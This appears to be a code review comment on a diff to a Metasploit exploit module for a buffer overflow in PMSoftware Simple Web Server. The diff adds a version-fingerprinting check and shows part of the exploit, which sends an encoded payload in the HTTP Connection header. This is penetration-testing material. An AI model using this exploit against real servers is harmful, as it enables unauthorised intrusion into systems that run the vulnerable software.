This check can be handy

modules/exploits/windows/http/sws_connection_bof.rb

@@ -62,6 +62,15 @@ module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
 			'DefaultTarget'  => 0))
 	end
 
+	def check
+		res = send_request_raw({'uri'=>'/'})
+		if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
 	def exploit
 
 		sploit = payload.encoded
@@ -75,9 +84,9 @@ def exploit
 		connect
 
 		send_request_cgi({
-			'uri'		=> '/',
-			'version'	=> '1.1',
-			'method'	=> 'GET',
+			'uri'        => '/',
+			'version'    => '1.1',
+			'method'     => 'GET',
 			'connection' => sploit
 		})